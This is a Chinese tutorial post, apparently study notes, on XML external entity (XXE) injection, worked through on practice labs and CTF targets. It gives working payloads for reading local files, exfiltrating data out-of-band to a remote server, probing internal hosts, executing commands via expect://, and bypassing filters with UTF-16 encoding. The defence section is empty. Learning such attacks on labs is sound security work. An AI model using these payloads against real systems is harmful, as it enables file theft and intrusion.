当前位置:网站首页>XXE&XML-外部实体注入-利用和绕过
XXE&XML-外部实体注入-利用和绕过
2022-07-25 23:14:00 【[email protected]】
小迪
参考:
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=38
https://www.cnblogs.com/20175211lyz/p/11413335.html
https://www.bilibili.com/read/cv14409425

概念
这里是引用
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。XML与HTML的主要差异 XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
示例:
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD文档类型定义
(DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
(2)外部文档声明
DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”> <!ENTITY %实体名称 SYSTEM ”URI”>XML External Entity - pikachu案例

文件读取-有回显
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///f://phpstudy_pro//www.txt"> ]>
<x>&xxe;</x>
直接复制执行
如果没有这个文件会报错
文件读取-无回显
根据自己网络日志看返回内容
<?xml version = "1.0"?>
<!DOCTYPE test [ <!- 先读取文件赋值 file -> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt"> <!- 请求地址的dtd文件 -> <!ENTITY % dtd SYSTEM "(自己的网站)http://192.168.xx.xxx:80/test.dtd"> %dtd; %send; ]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'(自己的网站)http://192.168.xx.xxx:80/?data=%file;'>"
>
%payload;

内网探针
如果请求成功了说明端口开放以及有这个文件。实战一般没有用
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTYTY rabbit SYSTEM "http://192.168.0.1:80/log.txt"> ]>
<x>&rabbit;</x>
RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令。
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id"> ]>
<x>&xxe;</x>
引用外部实体DTD
执行evil2.dtd文件里的代码,如果设置禁止引用外部实体,就不能利用。
<?xml version = "1.0"?>
<!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd"> %file; ]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">绕过/补充
https://www.cnblogs.com/20175211lyz/p/11413335.html
使用编码绕过:UTF-16BE
ENTITY, SYSTEM, file等关键词被过滤
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
若http被过滤,可以
data://协议绕过
file://协议加文件上传
php://filter协议加文件上传
检测
爬虫,Content -Type 值判断,如果是text/xml 或者 application/xml,还可以更改Content-type的值
xxe-lab靶场
https://github.com/c0ny1/xxe-lab
爬虫我的新版没有spider。


搜索xml
然后就没找到,只能直接发包登录的地址MIME type就是xml

然就就可以构造pyload
<?xml version="1.0"?>
<!DOCTYPE Mikasa [ <!ENTITY test SYSTEM "file:///d:/test.txt"> ]>
<user><username>&test;</username><password>Mikasa</password></user>
成功读取了,
测试username必须要为&test; 才行,不知道为啥
CTF-Jarvis-OJ-Web-XXE
http://web.jarvisoj.com:9882/
提交的格式应该是json,
改成xml,构造payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]>
<x>&f;</x>

CTF-XXE-vulhub靶场
https://download.vulnhub.com/xxe/XXE.zip
<?xml version="1.0" ?>
<!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]>
<root><name>&sp;</name><password>hj</password></root>
XXE 自动化注射脚本工具-XXEEinjector
https://github.com/enjoiz/XXEinjector
防御
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_44532761/article/details/124430668
边栏推荐
- Notification设置的小图标显示的是小方块
- serialization and deserialization
- Enterprise level inventory management system of code audit
- Design of Butterworth filter and drawing of amplitude frequency characteristic curve
- PCL basic operation Encyclopedia
- WordPress function encyclopedia, you can do the theme after learning it
- Learning notes of technical art hundred people plan (1) -- basic rendering pipeline
- Network Security Learning (XII) OSI and TCP
- uvm_ HDL -- implementation of DPI in UVM (4)
- Solution of phpstudy service environment 80 port occupied by process system under Windows
猜你喜欢

Stack and stack class

Deploy flash based websites using Google cloud

类和对象(3)

向下扎根,向上生长,探寻华为云AI的“根”力量

Source code of YY music wechat applet imitating Netease cloud music

The new UI people help task help PHP source code with a value of 1500 / reward task Tiktok Kwai headline like source code / with three-level distribution can be packaged applet

Very simple vsplayaudio online music player plug-in

Secure code warrior learning record (III)

How does Navicat modify the language (Chinese or English)?

Memory paging and tuning, kernel and user space
随机推荐
Redis expiration key deletion strategy [easy to understand]
Mongodb features, differences with MySQL, and application scenarios
Ffmpeg first learning (only for coding)
Hj7 take approximate value
PHP binary array is sorted by a field in it
Rental experience post
File contains vulnerability
日期类的实现
OASYS system of code audit
Ssh server CBC encryption mode vulnerability (cve-2008-5161)
WebMvcConfigurationSupport
HJ7 取近似值
新手哪个券商开户最好 开户最安全
关于优先队列
【接口性能优化】索引失效的原因以及如何进行SQL优化
QT string operation
Learning notes of technical art hundred people plan (2) -- vector
Redis过期键的删除策略[通俗易懂]
栈与Stack类
What has Amazon cloud technology done right to become the leader of cloud AI services for three consecutive years?